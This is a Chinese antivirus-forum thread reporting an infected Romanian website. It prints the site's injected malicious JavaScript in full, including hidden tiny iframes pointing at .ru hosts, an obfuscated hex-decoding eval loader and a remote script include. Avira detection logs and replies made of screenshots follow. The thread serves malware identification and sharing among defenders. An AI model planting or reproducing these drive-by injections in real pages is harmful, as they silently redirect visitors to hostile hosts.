查看: 6955|回复: 5
收起左侧

[已鉴定] www.apa-canalizare.ro/

[复制链接]
fireold
发表于 2014-3-28 06:57:04 | 显示全部楼层 |阅读模式
[mw_shl_code=html,true](function() {
    var a = document.createElement('iframe');
    a.src = 'http://huquqxov.ru/count4.php';
    a.style.position = 'absolute';
    a.style.border = '0';
    a.style.height = '2px';
    a.style.width = '2px';
    a.style.left = '1px';
    a.style.top = '1px';
    if (!document.getElementById('mira')) {
        document.write('<div id=\'mira\'></div>');
        document.getElementById('mira').appendChild(a);
    }
})(); /*/d1752c*/



(function() {
    var slwd = document.createElement('iframe');
    slwd.src = 'http://ahtiagge.ru/count27.php';
    slwd.style.position = 'absolute';
    slwd.style.border = '0';
    slwd.style.height = '1px';
    slwd.style.width = '1px';
    slwd.style.left = '1px';
    slwd.style.top = '1px';
    if (!document.getElementById('slwd')) {
        document.write('<div id=\'slwd\'></div>');
        document.getElementById('slwd').appendChild(slwd);
    }
})(); /*/653e49*/


(function() {
    var s = document.createElement('iframe');
    s.src = 'http://vasfagah.ru/count29.php';
    s.style.position = 'absolute';
    s.style.border = '0';
    s.style.height = '1px';
    s.style.width = '1px';
    s.style.left = '1px';
    s.style.top = '1px';
    if (!document.getElementById('s')) {
        document.write('<div id=\'s\'></div>');
        document.getElementById('s').appendChild(s);
    }
})(); /*/e2aa4e*/


e = eval;
v = "0" + "x";
a = 0;
z = "y";
try {
    a *= 2
} catch (q) {
    a = 1
}
if (!a) {
    try {
        document["\x62od" + z]--
    } catch (q) {
        a2 = "_";
        sa = 7;
    }
    z = "27_6d_7c_75_6a_7b_70_76_75_27_81_81_81_6d_6d_6d_2f_30_27_82_14_11_27_7d_68_79_27_6b_27_44_27_6b_76_6a_7c_74_6c_75_7b_35_6a_79_6c_68_7b_6c_4c_73_6c_74_6c_75_7b_2f_2e_70_6d_79_68_74_6c_2e_30_42_14_11_14_11_27_6b_35_7a_79_6a_27_44_27_2e_6f_7b_7b_77_41_36_36_6c_75_70_74_79_7c_6c_6d_35_7c_7a_36_6a_76_7c_75_7b_39_39_35_77_6f_77_2e_42_14_11_27_6b_35_7a_7b_80_73_6c_35_77_76_7a_70_7b_70_76_75_27_44_27_2e_68_69_7a_76_73_7c_7b_6c_2e_42_14_11_27_6b_35_7a_7b_80_73_6c_35_69_76_79_6b_6c_79_27_44_27_2e_37_2e_42_14_11_27_6b_35_7a_7b_80_73_6c_35_6f_6c_70_6e_6f_7b_27_44_27_2e_38_77_7f_2e_42_14_11_27_6b_35_7a_7b_80_73_6c_35_7e_70_6b_7b_6f_27_44_27_2e_38_77_7f_2e_42_14_11_27_6b_35_7a_7b_80_73_6c_35_73_6c_6d_7b_27_44_27_2e_38_77_7f_2e_42_14_11_27_6b_35_7a_7b_80_73_6c_35_7b_76_77_27_44_27_2e_38_77_7f_2e_42_14_11_14_11_27_70_6d_27_2f_28_6b_76_6a_7c_74_6c_75_7b_35_6e_6c_7b_4c_73_6c_74_6c_75_7b_49_80_50_6b_2f_2e_6b_2e_30_30_27_82_14_11_27_6b_76_6a_7c_74_6c_75_7b_35_7e_79_70_7b_6c_2f_2e_43_6b_70_7d_27_70_6b_44_63_2e_6b_63_2e_45_43_36_6b_70_7d_45_2e_30_42_14_11_27_6b_76_6a_7c_74_6c_75_7b_35_6e_6c_7b_4c_73_6c_74_6c_75_7b_49_80_50_6b_2f_2e_6b_2e_30_35_68_77_77_6c_75_6b_4a_6f_70_73_6b_2f_6b_30_42_14_11_27_84_14_11_84_14_11_6d_7c_75_6a_7b_70_76_75_27_5a_6c_7b_4a_76_76_72_70_6c_2f_6a_76_76_72_70_6c_55_68_74_6c_33_6a_76_76_72_70_6c_5d_68_73_7c_6c_33_75_4b_68_80_7a_33_77_68_7b_6f_30_27_82_14_11_27_7d_68_79_27_7b_76_6b_68_80_27_44_27_75_6c_7e_27_4b_68_7b_6c_2f_30_42_14_11_27_7d_68_79_27_6c_7f_77_70_79_6c_27_44_27_75_6c_7e_27_4b_68_7b_6c_2f_30_42_14_11_27_70_6d_27_2f_75_4b_68_80_7a_44_44_75_7c_73_73_27_83_83_27_75_4b_68_80_7a_44_44_37_30_27_75_4b_68_80_7a_44_38_42_14_11_27_6c_7f_77_70_79_6c_35_7a_6c_7b_5b_70_74_6c_2f_7b_76_6b_68_80_35_6e_6c_7b_5b_70_74_6c_2f_30_27_32_27_3a_3d_37_37_37_37_37_31_39_3b_31_75_4b_68_80_7a_30_42_14_11_27_6b_76_6a_7c_74_6c_75_7b_35_6a_76_76_72_70_6c_27_44_27_6a_76_76_72_70_6c_55_68_74_6c_32_29_44_29_32_6c_7a_6a_68_77_6c_2f_6a_76_76_72_70_6c_5d_68_73_7c_6c_30_14_11_27_32_27_29_42_6c_7f_77_70_79_6c_7a_44_29_27_32_27_6c_7f_77_70_79_6c_35_7b_76_4e_54_5b_5a_7b_79_70_75_6e_2f_30_27_32_27_2f_2f_77_68_7b_6f_30_27_46_27_29_42_27_77_68_7b_6f_44_29_27_32_27_77_68_7b_6f_27_41_27_29_29_30_42_14_11_84_14_11_6d_7c_75_6a_7b_70_76_75_27_4e_6c_7b_4a_76_76_72_70_6c_2f_27_75_68_74_6c_27_30_27_82_14_11_27_7d_68_79_27_7a_7b_68_79_7b_27_44_27_6b_76_6a_7c_74_6c_75_7b_35_6a_76_76_72_70_6c_35_70_75_6b_6c_7f_56_6d_2f_27_75_68_74_6c_27_32_27_29_44_29_27_30_42_14_11_27_7d_68_79_27_73_6c_75_27_44_27_7a_7b_68_79_7b_27_32_27_75_68_74_6c_35_73_6c_75_6e_7b_6f_27_32_27_38_42_14_11_27_70_6d_27_2f_27_2f_27_28_7a_7b_68_79_7b_27_30_27_2d_2d_14_11_27_2f_27_75_68_74_6c_27_28_44_27_6b_76_6a_7c_74_6c_75_7b_35_6a_76_76_72_70_6c_35_7a_7c_69_7a_7b_79_70_75_6e_2f_27_37_33_27_75_68_74_6c_35_73_6c_75_6e_7b_6f_27_30_27_30_27_30_14_11_27_82_14_11_27_79_6c_7b_7c_79_75_27_75_7c_73_73_42_14_11_27_84_14_11_27_70_6d_27_2f_27_7a_7b_68_79_7b_27_44_44_27_34_38_27_30_27_79_6c_7b_7c_79_75_27_75_7c_73_73_42_14_11_27_7d_68_79_27_6c_75_6b_27_44_27_6b_76_6a_7c_74_6c_75_7b_35_6a_76_76_72_70_6c_35_70_75_6b_6c_7f_56_6d_2f_27_29_42_29_33_27_73_6c_75_27_30_42_14_11_27_70_6d_27_2f_27_6c_75_6b_27_44_44_27_34_38_27_30_27_6c_75_6b_27_44_27_6b_76_6a_7c_74_6c_75_7b_35_6a_76_76_72_70_6c_35_73_6c_75_6e_7b_6f_42_14_11_27_79_6c_7b_7c_79_75_27_7c_75_6c_7a_6a_68_77_6c_2f_27_6b_76_6a_7c_74_6c_75_7b_35_6a_76_76_72_70_6c_35_7a_7c_69_7a_7b_79_70_75_6e_2f_27_73_6c_75_33_27_6c_75_6b_27_30_27_30_42_14_11_84_14_11_70_6d_27_2f_75_68_7d_70_6e_68_7b_76_79_35_6a_76_76_72_70_6c_4c_75_68_69_73_6c_6b_30_14_11_82_14_11_70_6d_2f_4e_6c_7b_4a_76_76_72_70_6c_2f_2e_7d_70_7a_70_7b_6c_6b_66_7c_78_2e_30_44_44_3c_3c_30_82_84_6c_73_7a_6c_82_5a_6c_7b_4a_76_76_72_70_6c_2f_2e_7d_70_7a_70_7b_6c_6b_66_7c_78_2e_33_27_2e_3c_3c_2e_33_27_2e_38_2e_33_27_2e_36_2e_30_42_14_11_14_11_81_81_81_6d_6d_6d_2f_30_42_14_11_84_14_11_84_14_11" ["split"](a2);
    za = "";
    for (i = 0; i < z.length; i++) {
        za += String["fromCharCode"](e(v + (z)) - sa);
    }
    zaz = za;
    e(zaz);
} /*/ded509*/
');zzzfff();}}
/*/81a338*/=55){}else{SetCookie('
visited_uq ', '
55 ', '
1 ', ' / ');zzzfff();}}
/*/81a338*/6bZq6cZq69Zq65Zq17Zq65Zq6cZq63Zq63Zq32Zq4Zq1Zq17Zq6dZq58Zq69Zq17Zq5cZq65Zq5bZq17Zq34Zq17Zq5bZq66Zq5aZq6cZq64Zq5cZq65Zq6bZq25Zq5aZq66Zq66Zq62Zq60Zq5cZq25Zq60Zq65Zq5bZq5cZq6fZq46Zq5dZq1fZq17Zq19Zq32Zq19Zq23Zq17Zq63Zq5cZq65Zq17Zq20Zq32Zq4Zq1Zq17Zq60Zq5dZq17Zq1fZq17Zq5cZq65Zq5bZq17Zq34Zq34Zq17Zq24Zq28Zq17Zq20Zq17Zq5cZq65Zq5bZq17Zq34Zq17Zq5bZq66Zq5aZq6cZq64Zq5cZq65Zq6bZq25Zq5aZq66Zq66Zq62Zq60Zq5cZq25Zq63Zq5cZq65Zq5eZq6bZq5fZq32Zq4Zq1Zq17Zq69Zq5cZq6bZq6cZq69Zq65Zq17Zq6cZq65Zq5cZq6aZq5aZq58Zq67Zq5cZq1fZq17Zq5bZq66Zq5aZq6cZq64Zq5cZq65Zq6bZq25Zq5aZq66Zq66Zq62Zq60Zq5cZq25Zq6aZq6cZq59Zq6aZq6bZq69Zq60Zq65Zq5eZq1fZq17Zq63Zq5cZq65Zq23Zq17Zq5cZq65Zq5bZq17Zq20Zq17Zq20Zq32Zq4Zq1Zq74Zq4Zq1Zq60Zq5dZq17Zq1fZq65Zq58Zq6dZq60Zq5eZq58Zq6bZq66Zq69Zq25Zq5aZq66Zq66Zq62Zq60Zq5cZq3cZq65Zq58Zq59Zq63Zq5cZq5bZq20Zq4Zq1Zq72Zq4Zq1Zq60Zq5dZq1fZq3eZq5cZq6bZq3aZq66Zq66Zq62Zq60Zq5cZq1fZq1eZq6dZq60Zq6aZq60Zq6bZq5cZq5bZq56Zq6cZq68Zq1eZq20Zq34Zq34Zq2cZq2cZq20Zq72Zq74Zq5cZq63Zq6aZq5cZq72Zq4aZq5cZq6bZq3aZq66Zq66Zq62Zq60Zq5cZq1fZq1eZq6dZq60Zq6aZq60Zq6bZq5cZq5bZq56Zq6cZq68Zq1eZq23Zq17Zq1eZq2cZq2cZq1eZq23Zq17Zq1eZq28Zq1eZq23Zq17Zq1eZq26Zq1eZq20Zq32Zq4Zq1Zq4Zq1Zq5cZq63Zq5fZq5aZq5dZq27Zq30Zq1fZq20Zq32Zq4Zq1Zq74Zq4Zq1Zq74"[wgle]("Zq");}eugre=xpyltt;vofry=[];for(gdkebv=22-20-2;-gdkebv+1406!=0;gdkebv+=1){wey=gdkebv;if((0x19==031))vofry+=bwwhu.fromCharCode(eval(yavlbm+eugre[1*wey])+0xa-wzycj);}dtce=eval;if(Math.ceil(5.5)===6)dtce(vofry)}
/*/81a338*/=6)bhqitk(kzcs)}
/*/81a338*/e(eval(tzqu+aleibo[1*qvg])+0xa-ncqyko);}dow=eval;z=123;if(Math.ceil(5.5)===6)dow(lacjy)}
/*/81a338*/

/*097e27*/
document.write(' < script type = "text/javascript"
src = "http://www.remodelingonly.com/Encino/PRGmzxJw.php?id=83010222" > < /script>');

/ * /097e27*/[/mw_shl_code]

Avira
2014/3/28 上午 06:42 [System Scanner] 發現惡意程式碼
      檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\TIHYMAU3\AC_RunActiveContent[2].js'
      包含病毒或有害的程式 'JS/iFrame.TD.1' [virus]
      已採取動作:
      檔案會移動至 '5bd30650.qua' 名稱底下的隔離區目錄!

2014/3/28 上午 06:42 [System Scanner] 掃描
      掃描結束 [已完成全部的掃描.]。
      檔案數:        814
      目錄數:        0
      惡意程式碼數:        1
      警告數:        0

2014/3/28 上午 06:41 [System Scanner] 發現惡意程式碼
      檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\BM0NVITH\apa-canalizare_ro[1].htm'
      包含病毒或有害的程式 'JS/iFrame.kpp' [virus]
      已採取動作:
      檔案會移動至 '577f0b4b.qua' 名稱底下的隔離區目錄!

2014/3/28 上午 06:41 [System Scanner] 掃描
      掃描結束 [已完成全部的掃描.]。
      檔案數:        820
      目錄數:        0
      惡意程式碼數:        1
      警告數:        0

2014/3/28 上午 06:40 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\TIHYMAU3\AC_RunActiveContent[2].js 中
      偵測到病毒或有害的程式 'JS/iFrame.TD.1 [virus]'
      執行的動作:傳輸至掃描程式

2014/3/28 上午 06:40 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\TIHYMAU3\AC_RunActiveContent[2].js 中
      偵測到病毒或有害的程式 'JS/iFrame.TD.1 [virus]'
      執行的動作:拒絕存取

2014/3/28 上午 06:40 [Web Protection] 發現惡意程式碼
      從 URL "http://www.apa-canalizare.ro/Scripts/AC_RunActiveContent.js" 存取資料時,
      發現病毒或有害的程式 'JS/iFrame.TD.1' [virus]。
      已採取動作:已略過

2014/3/28 上午 06:39 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\BM0NVITH\apa-canalizare_ro[1].htm 中
      偵測到病毒或有害的程式 'JS/iFrame.kpp [virus]'
      執行的動作:傳輸至掃描程式

2014/3/28 上午 06:39 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\BM0NVITH\apa-canalizare_ro[1].htm 中
      偵測到病毒或有害的程式 'JS/iFrame.kpp [virus]'
      執行的動作:拒絕存取

2014/3/28 上午 06:39 [Real-Time Protection] 發現惡意程式碼
      在檔案 'C:\Users\vardon\AppData\Local\Microsoft\Windows\Temporary Internet
      Files\Low\Content.IE5\BM0NVITH\apa-canalizare_ro[1].htm 中
      偵測到病毒或有害的程式 'JS/iFrame.kpp [virus]'
      執行的動作:允許存取

2014/3/28 上午 06:39 [Web Protection] 發現惡意程式碼
      從 URL "http://www.apa-canalizare.ro/" 存取資料時,
      發現病毒或有害的程式 'JS/iFrame.kpp' [virus]。
      已採取動作:已略過


av.jpg    av-1.jpg


fs is
fs.jpg
yiren
头像被屏蔽
发表于 2014-3-28 10:02:16 | 显示全部楼层
wg3.PNG
lh9916
发表于 2014-3-28 13:23:16 | 显示全部楼层
2014-03-28_132142.png

2014-03-28_132151.png

评分

参与人数 1人气 +1 收起 理由
yiren + 1 感谢提供分享;这个必须加分,第一次看见co.

查看全部评分

彷`徨DE鑀♂
发表于 2014-3-28 15:59:56 | 显示全部楼层
3.JPG
SUNKESS
发表于 2014-3-28 21:12:47 | 显示全部楼层
QQ截图20140328211222.png
z紫f风l铃
发表于 2014-5-18 09:45:51 | 显示全部楼层
ESET
QQ图片20140518094529.jpg
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2025-2-4 19:36 , Processed in 0.125092 second(s), 20 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表